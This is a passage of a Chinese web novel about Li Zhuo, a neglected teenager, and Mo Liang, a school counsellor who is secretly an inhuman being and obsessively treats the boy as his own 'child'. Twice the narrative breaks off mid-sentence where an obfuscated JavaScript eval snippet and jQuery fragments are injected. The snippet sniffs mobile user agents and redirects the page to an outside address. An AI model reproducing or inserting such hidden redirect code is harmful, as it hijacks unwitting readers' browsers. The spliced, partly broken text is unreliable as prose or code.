有次李父带李卓去参加某场宴会,他因为太紧张,把提前准备的词忘了,在众人注视下,他紧张得满脸通红,磕磕绊绊半天都没说完,像个没见过世面的乡巴佬一样,让他丢尽了脸。
慢慢地,他很少带李卓出去了。
有什么都带着李轩出去。
李卓当然不甘心啊,他努力学习。但过去毕竟只是个乡下孩子,在匮乏的教育资源下他实在是落下太多课程了。极短的时间怎么能赶上?
不仅如此,囫囵吞枣学了个皮毛的的他反而又闹出了一个又一个洋相,结结实实地成了李轩的陪衬品。
噢对了,李轩是李卓的哥哥,没血缘关系的那种,是李卓的父母在他走丢后收养的一个孤儿。
那位代替李卓位置的养子在李家生活了十几年,可比李卓这个正儿八经的亲子还像是李家真正的少爷,举手投足之间的矜贵气质全然不是李卓能比的。
最起码,李轩无论出席任何场合都游刃有余,侃侃而谈,绝不怯场。
谁更给他们长脸,一目了然啊。
李卓第一次和父母吵架原因已经不记得了,反正没多久又有了第二次,第三次,和数不清的无数次。
李父李母失望于李卓的变化,不理解他到底怎么了,明明刚到家时那么懂事,那么乖巧,怎么会变这么叛逆,不听话,只因为一点点小事成了一点就炸的炸药桶?
分明送李卓读的学校是大儿子一样的国际学校,怕他赶不上进度,他们为他请辅导老师,请礼仪老师,连李卓他说想学钢琴,也是在专门请了曾经教导过大儿子的老师一对一授课啊。
到底还有哪里不满意?
他们觉得教大儿子时也是这样教的呀,还有哪里不对呢?他们是商人,喜欢更优秀的儿子是人之常情啊。
可是李卓也觉得自己委屈。
他普通话不标准不是很正常吗?坪山村那地方,谁没事说普通话啊,就村镇学校里的老师普通话也不行啊。
他会的这点皮毛,很大部分是杨独眼没死前,在极少极少的空闲时间里,他跟着村里其他几个孩子扎堆去村长家看电视时,听到电视里的人讲话记下的。
——当然,看不了多久,村长老婆就会过来摸摸电视后面那个大屁股的温度,再骂骂咧咧的赶他们走。
再有就是杨独眼死后,他背着沉重的背篓去镇子上赶集时,从那些蹲摊子前买他菜的客人们嘴里囫囵学的,这又能学个什么呢?有时就连其他人笑话他,他都不知道具体在笑什么。
可是,可是,如果他的父母没问题,他也没问题,那有问题的是谁呢?
其实李卓自己也不知道。
于是他望向老师,试图从长者的眼里得到一个解惑的答案。
“老师,我不明白…是我做错了什么吗?还是我真的变了?”
“他们接我回家,送我读书,每周给我那么多钱,每天上学还有司机接送,房间有人打扫,衣服有人洗,我只需要花钱和玩就行了,这样的生活我以前做梦都不敢想,可为什么,我那时候还是一点都高兴不起来呢?”
他的声音越来越低。
“是因为我自己变得不知足,变得贪心,所以越来越不满足吗?”
李卓紧紧盯着莫老师的表情,那个男人面上又浮现出那种心疼的情绪。
“千万别这样想,你受到不公的待遇,感到委屈、愤怒、都是正常情绪,这不是你的问题…”男人顿了顿,嗓音柔更加柔和,“你是一个好孩子。”
面对如此直白的赞美,李卓愣住,接着下意反驳道:“不,莫老师,您不知道,其实我很坏…”
莫良脸上的怜惜更浓厚了几分,他接话:“有多坏?”
李卓抿了抿唇,一字一句地开口:“我非常怨恨李轩,做了许多坏事…”
4. 第 4 章
李轩就读的是门槛极高的国际学校,纯双语教学环境,听说他很小就能和外教流利用外语交流了。
而李卓呢?
他连蹩脚的普通话都说不利索。
英文是初中后才开始接触的科目,他只会几个简单单词,发音还不标准。
哪怕头一年有数名家教恶补过,但把他送去国际学校读书,依旧无异于把一个刚学会拼音的小孩子放进成人火箭班,并要求他赶上大家的进度。
他怎么可能适应得了。
更别说还有李轩这样的天才在前,老师和同学当然无意识也会把李卓和他哥哥作为对比,他会听到什么评价呢?
在所有人都认为他才是私生子的情况下,他在学校又会经历什么样的流言蜚语呢?被什么样的眼神注视呢?
那学校门槛是真的高,但不代表门槛高就能过滤掉道德低下的人,也不代表里面的学生个个都是真善美的三好学生。除去顶尖的一小部分外,剩下的一大部分学生自身的优越感是很重的。
一个靠花钱塞进来的关系户当然不会被靠真本领考进去的好学生所真心认同;而听不懂他们那些暗语俚语,总闹笑话的土包子也不可能被自认为高人一等的少爷小姐所真心接纳。
这些李家的父母完全不知道。
至于对李轩的敌意到底是怎么来的?
李卓也说不清楚,可能是太在意了吧?太在意父母把李轩的名字放在自己前面,太在意父母第一个看向谁,对谁更关心,提及谁的次数最多…
他以前没有这么斤斤计较的,他也不知道自己怎么会变得这样小肚鸡肠,他只是有点委屈,有点不理解,明明自己才是亲生的啊。
连刘姨都说了,他才是长得最像夫人和先生的,他的眼睛和嘴巴很像夫人,眉毛和额头则像了先生,一看就知道他才是亲生的啊!
为什么那么多人说他不像?
为什么?
为什么第一天还抱着他落泪,第一年还为他庆祝生日,到了第二年却开始挑剔他这不如李轩,那不如李轩…
无数个回答不上来的疑问在脑海中凝聚成形,最后全部变成了对李轩的怨恨,他觉得一切都是他的错。
如果自己小时候就一直生活在李家,像他一样接受各种教导,天天去全国各地玩,增长许多见识,他也可以随意出口成章,也不会出那么多洋相…
逐渐发酵的怨恨蒙蔽了他的心,
于是他做了一些不太好的坏事。
例如在明知道父母对外说他俩是亲兄弟的前提下,李卓提前对外散播了李轩才是鸠占鹊巢的养子的事…
再例如知道李轩要在某个什么很知名的音乐殿堂参加比赛,李卓就故意离家出走搞失踪,这样父母只能去找他。
再再例如,明知道李轩对猕猴桃过敏,李卓对照顾他的刘姨说想吃,然后把绒毛撒在他房间门把手上…
甚至还曾想过杀了他…
李卓垂着脑袋,将全部的视线都集中自己手心的纱布上,他试探性地开口:“您是不是…想骂我?”
“这样啊。”
莫良的唇边仍旧挂着一抹温和的笑,那笑容就像拿尺子量过似的,一分不多一分不少。
“那真可爱啊…”
?!
李卓忽然抬头。
什么意思,他不是老师吗,为什么听到学生有这样恶劣的行径和想法没有指责批评他,反而…反而夸他可爱?!
李卓有点茫然,但还是下意识补充了还没说完的后半句。
“其实这些大多都失败了。”
虽然他的确想散播李轩的身份破坏他的形象,但还没开始散播呢,整个学校就已经提前知道了。
虽然他的确离家出走过,但这个办法只成功过两次,第三次他们便不再上当了。那天李卓一个人在快餐店枯坐了整整一个晚上。
虽然他也真的用李轩过敏的东西撒在他的门把手上,但他那几天刚好都戴了手套,一点事都没有。
包括后来被送到近千里外的一家公立寄宿学校也不是他主动和父母提出来的,更不是李家父母终于理解李卓在国际学校的艰难处境,单纯因为他成绩太差排名太靠后,被同校某学生家长在宴会中提到这事,他们觉得太丢脸。
本就不够长脸的成绩,再加上他之前在家搞的那些上不了台面的小动作,以及他在那个圈子里闹的笑话,种种叠加在一起,他们对他彻底失望了。
所以他完全是被放弃了。
当然,这个“放弃”不是直接不管李卓,或者把李卓丢了,这个“放弃”是指他们开始假装没有李卓这个人。
李家父母做了三件事,第一件事出面给李卓办理转学,第二件事在他新学校所在的城市购置了一套房,第三件事一张每月定时打生活费的银行卡。
他们说让他冷静一下,还说等他毕业就接他回去,想到这里,李卓突然笑起来。
“在给我办理转学前,他们两个一起找我谈话,我还以为他们要把我送回坪山村呢,就问能不能借1500,太多的话,五百也行。”
“然后我父亲先是很惊讶,跟着又突然开始对我发火,说我就是故意气他的,说我丢的人还不够吗?”
“我以为一分都不会给我,还是在口袋里找到了一张卡,上上个月和上个月分别打了三万块,不知道下个月还有没有…”
“其实我觉得现在也挺不错的,实验中学的老师同学们都很友善,环境比我原来镇上的学校好太多了,食堂的饭菜也好吃,宿舍干净…”
“他们每个月还给我转那么多钱,我根本花不完,现在除了上课不用想着去哪里干散活,不用想着地里的菜,不用想喂鸡,不用想着冬天怎么过冬…”
“现在天天穿新衣服,顿顿吃肉,英文现在也有在好好学,上次老师表扬我有进步了,然后…然后…”
李卓脸上的笑容逐渐僵硬,他低低的重复了好几个然后,自己说着说着也不知道怎么说下去了。
“我果然还是太贪心了,其实现在的生活都已经这样好了,我还有什么不知足的呢?我为什么…”
为什么胸口还是闷闷的呢。
莫良将手搭在李卓的肩膀上,轻柔地拍了拍,像在安抚,又像鼓励。
李卓的声音也越来越低。
“那个关导找上我时,说他们很想我,很爱我,我还认为…”
“离开坪山村时,我做了一个特别幸福的美梦,梦见我没有被人贩子拐卖,从一开始就叫李卓,梦见我在一个特别大的滑雪场和一群朋友滑雪…梦见他们对我很好…那个梦真好啊。”
…就是太短了。
李卓的目光有些失神。
墙上的挂钟嘀嗒滴嗒走着,走廊外三三俩俩的学生不时走过,少年们互相追逐的嬉笑声被心理咨询室的厚厚的双重隔音玻璃阻挡得严严实实。
从室内往外看,像极了无声哑剧。
“莫老师。”李卓紧紧握着温热的杯身,耷拉着眼皮,“我最近一直在想一个问题,如果坪山村不是我的家,李家不是我的家,那我的家在哪呢…”
李卓问这话就没有想从莫老师这里得到答案的意思,只是心里憋了太多太多郁结,想要一股脑释放出来罢了。
但出乎意料的是,一直充当安静树洞的莫良几乎是迫不及待的开口道:“太好了,那就来我家吧。”
???
李卓差点以为自己听错了。
“我今天一见到你就特别想说了,你最近一看就没好好吃饭吧?脸怎么都瘦凹进去了,怎么这么可怜啊。”
莫良没有给李卓思考回答的时间,他轻轻捏了捏李卓的脸颊,指腹不经意拂过那道浅浅的泪痕。
“那就这么定了,我知道你今天中午就吃了一个面包,这怎么可以呢,你还在长身体,晚饭到我宿舍吃。”
这样熟稔的口吻,哪个不知情的看了,还以为莫良是他的什么亲属呢。
可他们今天才认识啊!
面庞白净的少年不适地皱起了眉,身体微微后倾:“……莫老师?”
戴着眼镜的儒雅男人却仿佛对李卓的如此明显的抗拒动作毫无觉察,望向李卓的眼里仍旧充满怜惜。
“好孩子要听老师的话。”
李卓还想再说点什么,心理咨询室角落的小广播里放起威斯敏斯特钟声,一听这个声音,李卓噔地站起身。
这是正式上课铃啊!
所以现在午休时间结束了?第一节课都开始了?他居然不知不觉在心理咨询室待了快一个小时?
完了完了…
老师会不会认为他逃课吧?!
从来没有迟到过的好学生李卓不可避免的慌乱起来。
“我看了你们班的课表,今天下午第一节是音乐对吧,然后被你们语文老师替了,我早就和她说过你在我这儿,替你请过假了。”
一颗惊慌的心稍稍镇定了一点,李卓的抗拒消散了几分,感激地对莫良连说了好几声谢谢。
“没事,你要是不敢一个人回教室,我带你回去也可以。”
莫良贴心道,无论是表情还是语气都温和得挑不出一丝毛病。
“不用了莫老师,我自己回去。”
说完,李卓快步走出心理咨询室,见外面一个学生也没有,不时还能听到隐约的朗读声,脚下的步子由快走逐渐变成全力奔跑。
“慢点慢点,别跑那么快。”
莫良关切的声音被远远抛在身后。
“这孩子,真是的。”
“跑那么快摔倒了怎么办?”
凝望着远处逐渐化作一颗模糊小点的背影,男人的眼里充满着怜爱,唇边的笑温柔到恶心的地步。
【你别笑了,我瘆得慌。】
关机状态的电脑黑屏上缓缓出现一行形状奇特的文字。
【听说你从实验室出来了,想着是不是谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988984|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞎说的,没想到居然是真的…】
【我是说呢,你怎么会突然开始有兴趣收集原始人类相关的资料…】
旧的文字融化,新的文字凝结。
【你接这种小任务干嘛?】
【这种收益对你来说很少吧?】
【难不成这个小世界还藏着没被发现的稀有能源吗?根据协定,大家如果有新发现是需要共享的…】
【说起来,不该给你配一个引导系统吗,你的系统呢?】
对于文字的询问,莫良并不回答,甚至连一丝一毫的余光都没有分给电脑上的不断出现的文字,视线仍旧望着李卓离开的方向。
“我终于找到了我的孩子,他那么瘦弱,那么苍白,那么可怜,他的前任养育者真的很糟糕,把他养得很差…”
男人的表情逐渐布满阴霾,又很快被另一种情绪所取代。
“不过没关系的,我相信,只要在我的悉心照料和保护下,他的各项指标一定会恢复到最健康的状态。”
【你在说什么?】
【什么孩子!】
【你醒醒,你都没有生育能力,哪里来的孩子?又犯病了?】
莫良对此充耳不闻。
“你看到了吧?”
“我的孩子是多么的信任我,他在我的眼前流下了眼泪,他在向我展露他的内心,他在向我寻求帮助…”
莫良说着说着,脸庞逐渐泛起诡异的红晕,呼吸急促,胸膛剧烈起伏。
“上一任养育者冷落他,贬低他,伤害他,而我的孩子,他是多么的天真啊,甚至会因为一点点恶作剧都称不上的小事而内疚不已,说自己很坏?”
说着低低笑起来,俨然陷入回忆的模样。
“好可爱啊。”
这种状态没有持续太久,莫良的情绪像诡谲多变的乌云,上一秒才笑着,没多久又冷了脸。
“不过还有一个问题…”
“我的孩子现在仍旧对抛弃他的人类抱有微弱的期待,他依旧还想回去,这种糟糕的事情我决不会让它发生…”
【???】
莫良的五官进入某种无法形容的扭曲状态,脸上原本平滑的皮肤变得凹凸不平,像一个怪物正披着一层薄薄的假皮,而里面的什么东西即将破土而出。
“他会明白的…”
“我才会是他唯一的依靠…”
莫良拿起刚才李卓喝过水的白瓷杯子嗅了嗅,将里面剩下半杯已经冷掉的凉水无比珍惜地一小口一小口喝完了。
只是这样一个简单的动作而已,电脑上的文字却仿佛看到了什么不可置信的事,字体不断地抖动起来。
【你在干什么?】
【……你真是疯了!】
莫良每喝下去一小口,皮肤下蠕动的凸起便愈发活跃起来,有一块甚至从脖颈处一路游到眼球下方的皮肤。
他依旧像感受不到一样,小口小口地喝着,中间还很淡定地把溢出唇边的淡紫色液体擦拭干净。
他喝完了。
文字彻底安静。
又过去了几分钟,莫良蠕动的五官一点点恢复如初,他似乎又变成了李卓印象中的无害温和的好老师模样。
“他好像没有喝多少水呢,这可不行啊,不爱喝水的话,可是会诱发很多疾病的…是不是我准备的太淡了?”
“怪我怪我,原始人类幼年时好像喜欢喝甜的,嗯,要多准备点…”
念叨了好一阵子,莫良一副才注意到电脑上那些文字的模样。
“所以你到底找我什么事?”
“算了,我现在不感兴趣,我没时间和你闲聊,我很忙。”
莫良开始整理自己的衣衫,仔细擦拭眼镜,又看了看墙上的钟表,他走出心理咨询室的大门,穿过长长的走廊,沿着楼梯快步下楼。
他步子极快,一眨眼从五楼到了一楼,迅速朝着校门口的方向前行。
边走还边自言自语。
“时间不早了,作为一位合格的养育者,我得去为我的孩子挑选食材…”
“做点什么,两荤两素再煲个汤,水果甜点也得准备点,补充维生素…”
与此同时,心理咨询室的那台黑屏电脑上缓缓爬出一行全新的文字。
【这个世界,我很喜欢。】
【我找到了我的孩子。】
【他需要我的拯救。】
【别妨碍我。】
过了一会儿,文字逐渐有了变化。
【你之前还对原始人类不怎么感兴趣吧?你知道他爱吃什么,知道怎么和他相处吗?你手上的那本《人类饲养手册》还是从我这兑换的吧?】
【……】
【你第一次接系统任务吧?我劝你把接取任务时附带的指引系统放出来,虽然它聒噪,但有时也能发挥点用处,最重要的,它有很多详细攻略。】
移动到校外的莫良停滞了一瞬。
【好。】
5. 第 5 章
李卓是个性格淳朴的老实孩子,以前还在展销会打零工时,中介随口一句6点左右集合,其他人会拖到6:30左右,只有他,5:30人已经到集合点了。
在国际学校,老师讲完事情,其他同学都陆陆续续走了,只有他老实地留在原地,觉得老师没让他走啊。
转到实验中学后,他虽然明白了很多,但也是一个很守校规的老实学生,这还是他第一次上课迟到,第一次!
哪怕莫老师说他和语文老师打过招呼,但他还是惴惴不安,跑到高二十班教室门口时,他已经喘得不行了。
果然已经开始上课了。
“报告!”
讲台上的语文老师姓蔡,班里不少同学背后管她叫老尼姑。只因她平日里不穿高跟鞋,也不爱打扮,头发一丝不苟地盘在脑后,不管上课还是下课都很少见她笑的样子。
至少在李卓的印象中,以前班里有同学因为各种原因迟到,每次都会被呵斥好几分钟才让进教室。
不过这次她居然没说什么?
蔡老师深深地看了李卓一眼,意味不明地问了一句:“你从6号教学楼那边心理咨询室回来的?”
李卓点头。
蔡老师收回目光,将手上卷起的教材搁在讲台上砰砰敲了两下,硬邦邦道:“进来吧。”
李卓如蒙大赦,快步走到自己位置上坐下。
还好他跑得快,上课铃也才打没多久,进教室时课程也才刚刚开始。
李卓从书堆抽出语文课本翻到同桌递过来的页数,很快跟上了进程。
课程过半时,同桌邓余亮用手肘碰了碰李卓,趁机塞过来一张纸条。
李卓瞅了一眼讲台上的老师,发现她正拿粉笔在黑板上写字,其实根本没看他,但他没把手心攥着的纸条打开。
一直等到讲完新课,蔡老师忽然接了一个电话。离开前,她让大家重新温习一下刚才讲的内容。
寂静的教室在蔡老师离开的下一秒,轰的一下炸开了锅。
李卓这才有时间把纸条打开看。
【你去学校的心理咨询室了?】
李卓觉得这个问题很奇怪。
他问:“不可以去吗?”
“你知道学校以前也有心理咨询室吗?在老教学楼那,不过一直是个摆设,从没见过有什么心理老师。”
“就上个月,学校突然又弄了一个新的心理咨询室,里面心理老师我到现在都还没见过…”
邓余亮是李卓的同桌,也是他们班上特别有名的百事通加包打听,整个十班,甚至再选一点包括整个年级里,就没有他不知道的八卦。
——谁和谁发生了什么摩擦,谁和谁之间偷偷谈谈恋爱,谁被请了家长,谁带了违禁品,谁背地里打小报告,诸如此类的,他能讲三天三夜不重复。
而能知道这么多人的八卦,也足以证明他的社交能力之强悍。
李卓当时刚转来时,性格十分不合群。班主任安排这个位置时,就是想让性格更外向的邓余亮给带一带转校生。
果不其然,叽叽喳喳的话唠邓余亮不仅是班上第一个和李卓主动搭话的同学,也是他第一个熟悉的朋友。
因此他也愿意和朋友说真话。
“那个心理老师姓莫,我见了,他人还不错。”李卓想了想又补充道,“我和他聊完后,我感觉好一点了。”
“这么神奇啊?”邓余亮一副不怎么相信的模样,“可我听说那个老师和别的老师不一样啊。”
李卓追问:
“哪里不一样?”
邓余亮一时语塞,陷入沉思:“这个我也不知道,反正我舅让我别去…”
十班的同学几乎都知道,邓余亮家里是做生意的,他爹干工程,他妈在医院工作,他舅舅是学校的总务主任。
正是因为有这样的关系,有时候他的确能提前打听一点动向,像学校多久放假多久考试,什么时候突袭搜违禁品,邓余亮都能提前知道。
而这次关于那间多出来的心理咨询室,他舅舅并没有和他说太多,谈到时一副讳莫如深的样子,只让他别去。
至于为什么?
邓余亮毕竟只是一个普通学生,他的舅舅不肯和他所,他自己也没琢磨出来,回了一句不知道,又参杂了几句之前在其他班里打听到的信息。
——听说新的心理咨询室和之前的老咨询师一模一样,就是一个应付检查的摆设,不然为什么修好后大部分时间都是关着门呢?
——又听说有同学去过,结果里面的老师根本非常吓人,不仅不接待,还很凶狠地让那位推门的学生出去前把门擦干净!
“啊?”
李卓越听越觉得不对劲,感觉邓余亮口中的心理老师和自己今天中午看到的心理老师完全不是一个人啊。
莫老师看着脾气那么温和,会耐心听他讲话,给他倒水,还会安慰他,怎么会对学生不管不顾,还凶狠?
前面这些就算了,后面讲的越来越离谱,连什么闹鬼之类的传闻都出来了,到底是谁瞎编的啊。
他想辩解几句,走廊外面的蔡老师却已经打完电话。坐在第一排充当“侦察兵”的学生最先发现,赶紧出声提醒了一句。
“蔡老师来了。”
原本闹哄哄的教室顿时收声。
蔡老师踩着高跟鞋进来时,面对的便是黑压压埋着头看书的一片后脑勺。
作为教学多年的老师,她倒不至于看不出这些小孩的把戏,但也只是意思意思唠叨了几句,便也算揭了过去。
“我刚讲哪儿来了?”
手上从粉笔盒抽出一只新粉笔,掰掉最前面的一小截,转身书写之际,蔡清的余光还是不自觉地着重瞥了一眼中排的某个位置。
正是转学生的位置。
他是叫…李卓吗?
之前第一次听到这个名字,还是在十班的班主任章志文口中,说是某个很有名的国际学校转来的?
刚转来的几天,她的确多留意了几分,但经过观察,她发现那孩子虽然成绩一般,但的确挺老实的,不是想象中惹是生非、不服管理的纨绔子弟,于是也就没再多关注了。
没想到再一次听到这个转校生的名字,居然会是从校长的口中。
以前就算学校有什么事也都是一级级的往下通知,再紧急也应该是班主任或者组长再或者主任告诉他啊。
蔡清在实验中学任职多年,还是第一次接到校长本人打过来的电话。
她与校长的通话并没有很长,真正让她在走廊外停留那么长时间的还是第二通与十班班主任的电话。
十班的班主任姓章,是个四十来岁的中年男人,他在实验的众多老师中不算多么圆滑也不算多愚钝,和他所带班级的成绩一样,中规中矩,不上不下。
到了这个年纪,有家庭有伴侣有孩子,任何一点可能会影响职场的变动都让这个男人格外警觉。
在电话里,十班的班主任语气也很茫然,他知道的不比蔡清这个科任老师多,顶多可能和李卓的家里人有过联络,收了人家一点点好处而已。
但这不算什么吧?
他虽然收钱,但也真给办事儿啊,例如在他转学前,特意开过班会让同学们要好好相处,给他的试卷也改得很认真,甚至特意给李卓安排了一个活泼又外向的学生引着他尽快熟悉环境…
至于那位莫良…
十班的班主任知道的信息就少得多了,最多只知道学校在前段时间来了一个神秘大人物。
也不知道哪根筋搭错了,跑来名不见经传的常阳市,还提出要在实验中学当一名挂名老师,而那间新的心理咨询室正是他的办公室。
虽然名义上那位莫先生是学校的心理老师,但他不和普通教师一样有考勤,甚至听说都不需要工资?
当然,想也知道,学校肯定从中收取了难以想象的好处。
这次校长在电话里也没说什么,就说那位莫先生之前说要找人,而现在人找到了,就是高二十班的李卓。
他让他们平时多注意一点这个学生的动向,又说也不要太过于引起注意,这话里话外的意思千转百回的。
到底是关照还是“关照”呢?
班主任和科任老师俩人琢磨半天还是没琢磨清楚到底是什么意思,一合计,发现还是一切如常吧。
*
临近
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988985|161607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下课的前一分钟,不少戴着手表的同学开始默默倒数,台上的章志文看出这帮学生的心早飞去食堂了。
下课铃响起的同时,他加大了嗓门,拿教尺用力拍了拍讲台。
“这个题型你们错得实在是太多了,我还是得重点讲一讲。这样,我拖个五分钟,最多十分钟。”
“啊——”
学生们一个一个哀声四起。
有说不要的
有嘀咕早就知道老章要拖堂的。
邓余亮的位置靠窗,他最先注意到外面走廊站着等候的男人。
“诶,那谁啊。”
李卓也顺着他的目光看过去,正是中午安慰过他的心理老师莫良。
他还是穿着中午那身衣服,内里一件白色的内搭配上一件针织开衫,愈发凸显出整个人温润的气质,就是手上多了一个黑色的保温杯。
李卓压低了嗓子:
“那就是我说的那个心理老师。”
“我靠,真有这人啊。”
就这么几秒钟的打岔,邓余亮再看向讲台上班主任时,发现他似乎也在看向教室外走廊的方向。
下一秒,奇迹发生了。
“行了行了,看你们一个个的心不在焉的,估计在讲几遍也听不进去。”逢课必拖的老章这一次居然非常罕见的松了口,“下课吧!”
老章人刚走,也不知道谁喊了一声:“我靠,老子许愿显灵了!”
教室再度如一锅煮沸的水。
“你中午没去食堂吃饭,该不会晚饭又不去吧?”邓余亮拿着饭卡催促李卓,“快走快走,不然没位置了。”
前段时间因为情绪不太好,连带胃口也不大好,李卓每次打了饭吃几口就感觉吃不下去,隐隐有了厌食的倾向。
他一边觉得浪费粮食是一种可耻行为,一边又实在是吃不下去,所以他只能找借口不跟同桌去食堂吃饭,自己随便在小卖部啃一点面包应付了事。
但今天兴许是在心理咨询室和莫老师里倾诉了很多的关系,原本积压在心头的沉默郁结稍微有了点松动迹象,他也难得感觉到饥饿。
“那走吧。”
俩人刚出教室门口就被叫了。
“小卓,这里。”
莫良微笑着和两位学生打招呼,言谈举止之间仿佛和李卓很相熟一般。
“这是你的好朋友吗?”
他问。
“他叫邓余亮,是我同桌。”李卓礼貌给莫良介绍,又转头对同桌解释,“这是学校的心理老师莫老师…”
邓余亮眼珠滴溜溜转,他没有提自己之前在学校里听的那些传闻,恭恭敬敬地问了一声好。
“莫老师好!”
问好后,他扯了下李卓的袖子。
莫良注意到这个细节,继续用那种熟稔的语气开口道:“小卓今天要到我那边吃饭,我饭菜都备好了。”
李卓乍一听有些茫然,很快想起好像是有这么回事,不过似乎一直是他在自顾自决定,他根本没同意啊!
正值放学的高峰期,不止十班还有其他班的,不断有学生如潮水般从杵在过道上的三人身边穿过。
莫良的叹息似真似假:“早知道他和同桌一起,我就多准备一份了。”
这还有什么不懂的呢。
“哈哈哈那我就先去食堂了!”邓余亮也不是个墨迹的,他拍了拍李卓的肩膀,“那我走了,莫老师再见!”
他是个社交达人,在本班也好,在外班也罢,皆是朋友众多。
告别李卓后,邓余亮只随便走了几步便碰见和他打招呼的,他也跟着回应,进而像一滴水汇入到一支分流中般迅速融合其中。
真羡慕啊。
李卓缓缓收回视线。
莫良将一直拿在手上的保温杯递过去:“你尝尝看。”
李卓没想到莫良一直拿在手上的保温杯会是给自己的,呆呆地接过,呆呆的拧开,一股香甜的气味弥漫开来。
是草莓奶昔。
其实他并不嗜甜,但也不讨厌甜味,糖分的确能带来愉悦的心情。
见他似乎喜欢,莫老师的笑容似乎更深了几分:“那我们走吧。”
6. 第 6 章
李卓在与同桌的闲谈中曾听过教师公寓的大概方向,但的确没想过自己能去,而且还是跟着老师一起过去。
随着距离公寓越来越近,一路遇见的学生越来越少,反而是老师逐渐多起来。有李卓认识的,也有不认识的。
像是踏进了不属于自己的区域,李卓一声不吭,亦步亦趋地跟着莫良。
他很担心被认识的老师询问自己怎么会在这儿时该如何回答,又担心若是莫老师遇见相熟的朋友,他们若攀谈起来,站在旁边的自己应该说点什么?
以前还在李家时,不时就会出现这样的场景,他每次只会像个木头一样站在那,要么不说话,要么自以为是的说出一些引发他人嘲笑的不合时宜的话。
李轩就不一样了,在什么样的场合说什么样的话,对不同的人又该怎样随机应变对他来说似乎是天生就会的。
然而这对李卓来说就太难了。
他看似拥有丰富的经历,看似极为懂事早熟,但那只是皮毛而已,他做家务可能比李轩熟练,但那有什么用?
真遇上遇到表现的时刻,他就总是出错,开口也不对,不开口也不对。久而久之他开始恐惧这样的时刻。
也还好设想的寒暄问候的尴尬剧情并没有上演,一路上遇见的老师们都似乎默契地各自走自己的路,并没有停下问候,擦身而过也只是微微颔首。
一楼、二楼、三楼…到了。
李卓看着莫良摸出钥匙开门,入目是一处玄关,站在门外能稍微看到里面的客厅以及一小部分厨房。
里头装修和心理咨询室有点类似,都属于简约清新的原木风格,一眼望过去,暖黄色的光晕打在浅色的木质地板上,给整个公寓笼罩一层朦胧的温暖。
连门口墙壁上挂着一幅色彩明艳的画,都给李卓一种熟悉和温暖,就好像这幅画面在他的梦里出现过一样。
“愣在门口干嘛,快进来吧”
看着干净的地板,李卓有些局促在鞋柜寻找着什么,而注意到他动作的莫良温和地打断他的动作。
“没关系,不用换鞋,我都没有换,你直接进来吧。”
*
李卓一路上都是晕乎乎的,从进门开始,到看到莫良熟练地将热气腾腾的饭菜逐一摆上餐桌,到被拉着去厨房洗手,又被拽着坐到桌前…
一双筷子都已经塞到他的手中了,他还是感觉恍恍惚惚,认为眼前的这一切太过于不真实了。
“快吃啊。”
莫良只给李卓盛了一碗米饭,自己丝毫没有要吃的打算,只是望着他。
“快尝尝看,要是味道不对,就跟我说,我下次做的时候改进一下。”
这都是…莫老师做的?
桌上摆着六只大小不一的盘子和一份汤盅。其中两道荤菜分别是土豆烧牛肉和一份白灼虾,盛着蘸料的小碗被一只只摆列整齐的大虾围绕着;
素菜是家常豆腐和清炒菜心,汤是羊肚菌鸡汤,除了鸡肉和羊肚菌,漂浮着不少枸杞桂圆,山药红枣等等。
而上面色香味俱全的佳肴边还放着一份切好的水果拼盘和一份甜品,眼瞅着长桌都快摆不下了。
李卓想,如果只有他们两个人吃饭,这实在太丰盛,分量也太多了吧?
“莫老师,是要等其他人吗?”
莫良似乎不明白李卓怎么会问这种问题,他盛了一碗鸡汤,往李卓的方向推了推。
“为什么等谁?这些都是你的。”
“………”
莫良从小孩的表情中读出了他没有说出口的话,他温和地笑:“又没让你全部吃完,一样吃一点也可以的。”
他注视着李卓夹起一块鸡肉,放进嘴里,腮帮子的肌肉随着咀嚼的动作不断鼓动,眼睛不自觉地睁大,流露出显而易见的惊喜与满足。
鸡肉炖的火候刚刚好,青菜也保持在一个恰好的脆度,其他菜的咸淡也是正正好好,简直像一本精准的教科书。
“味道不错诶。”李卓强调,“真的,莫老师,你做饭真好吃。”
他是真觉得莫良做饭好吃,但又语言匮乏,实在是夸不出多么别出心裁的赞美之词,只能反复说着好吃。
莫良没有嫌弃他干巴巴的夸赞,笑着说只要他喜欢吃就好。
这时李卓发现莫老师面前依旧空无一物,且自己也没有要盛饭的意思,他出声问道:“莫老师,你怎么不吃啊?”
“我吃过了。”莫良还是那副和蔼的口吻,“我又不像你们必须要等下课,我下班是很早的…快吃吧。”
一瞬间,李卓的直觉闪过一丝异样,但又说不上来具体哪里不对。
那时的他中午本就没吃什么,又上了那么久的课,他的确是饿了,也就没再深究,放开肚子开始吃饭。
“慢点,慢点…”
莫良又为他盛了一碗汤,余光处扫了一眼桌上菜品的剩余情况。
他的孩子倒是不挑食,青菜,肉,虾,每样都吃,并不会喜欢哪样就只会吃哪样,这是很好的饮食习惯。
他这样想,也这样出声夸了。
一声叠着一声的好孩子传到李卓耳朵,那丝消散的疑惑再度冒上心头,他感觉奇怪,又说不清楚这种奇怪是什么。
吃完了饭,李卓站起身,很自觉地就要主动收拾碗筷,被莫良按住。
“那些放着,交给我就好了。”莫良笑笑,指了指客厅,“去玩吧。”
“可是…”
